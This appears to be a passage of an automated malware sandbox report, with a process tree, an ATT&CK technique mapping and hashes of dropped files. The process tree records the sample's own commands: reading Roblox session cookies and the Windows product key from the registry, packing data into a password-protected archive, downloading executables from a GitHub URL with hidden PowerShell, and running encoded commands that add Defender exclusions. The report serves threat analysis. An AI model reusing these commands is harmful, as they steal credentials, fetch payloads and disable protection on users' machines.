                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                  5⤵
                                                                                                                                                    PID:6408
                                                                                                                                                    • C:\Windows\system32\tree.com
                                                                                                                                                      tree /A /F
                                                                                                                                                      6⤵
                                                                                                                                                        PID:2264
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                                                                                                                      5⤵
                                                                                                                                                        PID:6140
                                                                                                                                                        • C:\Windows\system32\attrib.exe
                                                                                                                                                          attrib +r C:\Windows\System32\drivers\etc\hosts
                                                                                                                                                          6⤵
                                                                                                                                                          • Drops file in Drivers directory
                                                                                                                                                          • Views/modifies file attributes
                                                                                                                                                          PID:5808
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                        5⤵
                                                                                                                                                          PID:6384
                                                                                                                                                          • C:\Windows\system32\tree.com
                                                                                                                                                            tree /A /F
                                                                                                                                                            6⤵
                                                                                                                                                              PID:3876
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                            5⤵
                                                                                                                                                              PID:6704
                                                                                                                                                              • C:\Windows\system32\tasklist.exe
                                                                                                                                                                tasklist /FO LIST
                                                                                                                                                                6⤵
                                                                                                                                                                • Enumerates processes with tasklist
                                                                                                                                                                PID:5420
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                              5⤵
                                                                                                                                                                PID:5656
                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:6688
                                                                                                                                                                  • C:\Windows\system32\tree.com
                                                                                                                                                                    tree /A /F
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:5172
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:1548
                                                                                                                                                                      • C:\Windows\system32\tree.com
                                                                                                                                                                        tree /A /F
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:4224
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:6056
                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                            6⤵
                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                            PID:4920
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:5840
                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                              powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:4336
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:3972
                                                                                                                                                                                • C:\Windows\system32\getmac.exe
                                                                                                                                                                                  getmac
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:5412
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI41002\rar.exe a -r -hp"Logger1@12345" "C:\Users\Admin\AppData\Local\Temp\KqoTE.zip" *"
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:6108
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI41002\rar.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\_MEI41002\rar.exe a -r -hp"Logger1@12345" "C:\Users\Admin\AppData\Local\Temp\KqoTE.zip" *
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:5576
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                                                                      5⤵
                                                                                                                                                                                        PID:6640
                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                          wmic os get Caption
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:5392
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:6460
                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                              wmic computersystem get totalphysicalmemory
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:6948
                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                                              5⤵
                                                                                                                                                                                                PID:4664
                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                  wmic csproduct get uuid
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:5656
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:6716
                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                      PID:780
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                      PID:5628
                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                        wmic path win32_VideoController get name
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                        • Detects videocard installed
                                                                                                                                                                                                        PID:6396
                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                        PID:4384
                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:3372
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\in.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\in.exe"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                      PID:6464
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C8B5.tmp\C8B6.tmp\C8B7.bat C:\Users\Admin\AppData\Local\Temp\a\in.exe"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:1036
                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                            powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm"
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                            PID:6448
                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                            powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/ucm1/releases/download/iu1/shost.exe/' -outfile shost.exe"
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                            PID:5796
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\NEOFreeSetup.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\NEOFreeSetup.exe"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Checks computer location settings
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                        PID:4192
                                                                                                                                                                                                        • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                          "C:\Windows\System32\msiexec.exe" /I "C:\Program Files (x86)\Common Files\Wise Installation Wizard\WIS0E7C0CA4E536483D943BE977EA796DD9_1_0_0_182.MSI" WISE_SETUP_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\a\NEOFreeSetup.exe"
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                          PID:5092
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\D7AE.tmp.ssg.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\D7AE.tmp.ssg.exe"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                      PID:6228
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\FD2A.tmp.zx.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\FD2A.tmp.zx.exe"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      PID:5016
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\FD2A.tmp.zx.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\FD2A.tmp.zx.exe"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                        PID:6752
                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAUAByAG8AZAB1AGMAdAAuAGUAeABlADsA
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                    PID:5100
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\MethodSignature\hhzzt\Product.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\MethodSignature\hhzzt\Product.exe
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                    PID:5224
                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                      PID:4248
                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuAC4AZQB4AGUAOwA=
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                    PID:7128
                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAUAByAG8AZAB1AGMAdAAuAGUAeABlADsA
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                    PID:6124
                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuAC4AZQB4AGUAOwA=
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                    PID:2876
                                                                                                                                                                                                  • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                    C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:5944
                                                                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding F3421F4B0AFE37887F5333326F7CD4D0 C
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:3504
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\AllData\zexmcfe\Token.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\AllData\zexmcfe\Token.exe
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:6952

                                                                                                                                                                                                        Network

                                                                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                        Reconnaissance

                                                                                                                                                                                                        Resource Development

                                                                                                                                                                                                        Initial Access

                                                                                                                                                                                                        Execution

                                                                                                                                                                                                        Command and Scripting Interpreter

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1059

                                                                                                                                                                                                        PowerShell

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1059.001

                                                                                                                                                                                                        Persistence

                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1547

                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                        Event Triggered Execution

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1546

                                                                                                                                                                                                        Netsh Helper DLL

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1546.007

                                                                                                                                                                                                        Privilege Escalation

                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1547

                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                        Event Triggered Execution

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1546

                                                                                                                                                                                                        Netsh Helper DLL

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1546.007

                                                                                                                                                                                                        Defense Evasion

                                                                                                                                                                                                        Hide Artifacts

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1564

                                                                                                                                                                                                        Hidden Files and Directories

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1564.001

                                                                                                                                                                                                        Modify Registry

                                                                                                                                                                                                        3
                                                                                                                                                                                                        T1112

                                                                                                                                                                                                        Obfuscated Files or Information

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1027

                                                                                                                                                                                                        Command Obfuscation

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1027.010

                                                                                                                                                                                                        Credential Access

                                                                                                                                                                                                        Credentials from Password Stores

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1555

                                                                                                                                                                                                        Credentials from Web Browsers

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1555.003

                                                                                                                                                                                                        Unsecured Credentials

                                                                                                                                                                                                        3
                                                                                                                                                                                                        T1552

                                                                                                                                                                                                        Credentials In Files

                                                                                                                                                                                                        3
                                                                                                                                                                                                        T1552.001

                                                                                                                                                                                                        Discovery

                                                                                                                                                                                                        Browser Information Discovery

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1217

                                                                                                                                                                                                        Process Discovery

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1057

                                                                                                                                                                                                        Query Registry

                                                                                                                                                                                                        3
                                                                                                                                                                                                        T1012

                                                                                                                                                                                                        System Information Discovery

                                                                                                                                                                                                        5
                                                                                                                                                                                                        T1082

                                                                                                                                                                                                        System Location Discovery

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1614

                                                                                                                                                                                                        System Language Discovery

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1614.001

                                                                                                                                                                                                        System Network Configuration Discovery

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1016

                                                                                                                                                                                                        Wi-Fi Discovery

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1016.002

                                                                                                                                                                                                        Lateral Movement

                                                                                                                                                                                                        Collection

                                                                                                                                                                                                        Clipboard Data

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1115

                                                                                                                                                                                                        Data from Local System

                                                                                                                                                                                                        2
                                                                                                                                                                                                        T1005

                                                                                                                                                                                                        Command and Control

                                                                                                                                                                                                        Web Service

                                                                                                                                                                                                        1
                                                                                                                                                                                                        T1102

                                                                                                                                                                                                        Exfiltration

                                                                                                                                                                                                        Impact

                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                        • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                          36KB

                                                                                                                                                                                                          MD5

                                                                                                                                                                                                          b30d3becc8731792523d599d949e63f5

                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                          19350257e42d7aee17fb3bf139a9d3adb330fad4

                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                          b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                          523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                        • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                          56KB

                                                                                                                                                                                                          MD5

                                                                                                                                                                                                          752a1f26b18748311b691c7d8fc20633

                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                          c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                          111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                          a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                        • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                          64KB

                                                                                                                                                                                                          MD5

                                                                                                                                                                                                          8061b456a02dc4f18681550a3161e6a6

                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                          009f418e3d234213ae70538975774101510bf47e

                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                          3362cfa7e0ab3bed4083eb879a2a72a1d6085055d64039853ea81b78eefcd105

                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                          2992278f7f29c974599140d1bb2e9eccaf04a43f1e892905927531e224a359b4a0103cecb03e5d2abc59d1c129946b52944c9dc52d1dd6b599331d54cf3920f4

                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                          2KB

                                                                                                                                                                                                          MD5

                                                                                                                                                                                                          d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                          31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\9PMCFZKU\76561199804377619[1].htm
                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                          34KB

                                                                                                                                                                                                          MD5

                                                                                                                                                                                                          e64c0e32178af449ebd394137d27c4c8

                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                          e4dd43d65479df058a5eead0e15b23c6b280f9eb

                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                          1e549e1606be1a4da6a845b19da81680636e21d627632df6c662831081dfb8f3

                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                          d08f88b5ab5c0ff9e9d733c476818b69462acff00563117a76e5a099584eee08500acaa6fb193e9641697c56de79cb8ebb1d6b65d7d0aea53109c0b4c1fbc475

                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\9PMCFZKU\76561199804377619[1].htm
                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                          25KB

                                                                                                                                                                                                          MD5

                                                                                                                                                                                                          c44513ddc34cb353b61bee65bd3832be

                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                          943577ac8716ec72e3ada16883e0bac5f31abfe4

                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                          2677042c8e4b4a0105a91096212849699f78250009a94ebc7826c1af2718fed7

                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                          20f064e81b577e2644dc03ed0eadd301aced15acdcbde2814984c228830e9eb3f7a1250720af7c60451caf296f93fd16eb5d8397a587159871449061d7f5075d

                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                          944B

                                                                                                                                                                                                          MD5

                                                                                                                                                                                                          6d3e9c29fe44e90aae6ed30ccf799ca8

                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                          c7974ef72264bbdf13a2793ccf1aed11bc565dce

                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                          2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                          60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                          944B

                                                                                                                                                                                                          MD5

                                                                                                                                                                                                          e5663972c1caaba7088048911c758bf3

                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                          3462dea0f9c2c16a9c3afdaef8bbb1f753c1c198

                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                          9f7f29a4696876cadca3f14d7e43f9ede0c97fd64be3f5d94bda49a91b6a419e

                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                          ff4e72c46cf083de62baa2ce2661555dd91b5f144294015f7b262fd4500cb67fe80e1871a82da63b607e3e9cef401f4b73c587bf1134637881ecad51aad1eddc

                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                          944B

                                                                                                                                                                                                          MD5

                                                                                                                                                                                                          a83ce2908066654f712d1858746bc3c4

                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                          14887f0537ce076cdc91801fb5fa584b25f1089f

                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                          7c32ae0eaa4fef7404ce708744116ab8ea17d9575bbb3b06eb41a443f963456f

                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                          991b20116815c7db3497d0ede9a216c7b78795e65f898847ffec513692f0c24d146a123725d14a2e1e3efb5744a626dd025a364f2f55f581e21640794a0cc551

                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\D7AE.tmp.ssg.exe
                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                          300KB

                                                                                                                                                                                                          MD5

                                                                                                                                                                                                          7b6730ca4da283a35c41b831b9567f15

                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                          92ef2fd33f713d72207209ec65f0de6eef395af5

                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                          94d7d12ae53ce97f38d8890383c2317ce03d45bd6ecaf0e0b9165c7066cd300c

                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                          ae2d10f9895e5f2af10b4fa87cdb7c930a531e910b55cd752b15dac77a432cc28eca6e5b32b95eeb21e238aaf2eb57e29474660cae93e734d0b6543c1d462ace

                                                                                                                                                                                                          Download Submit

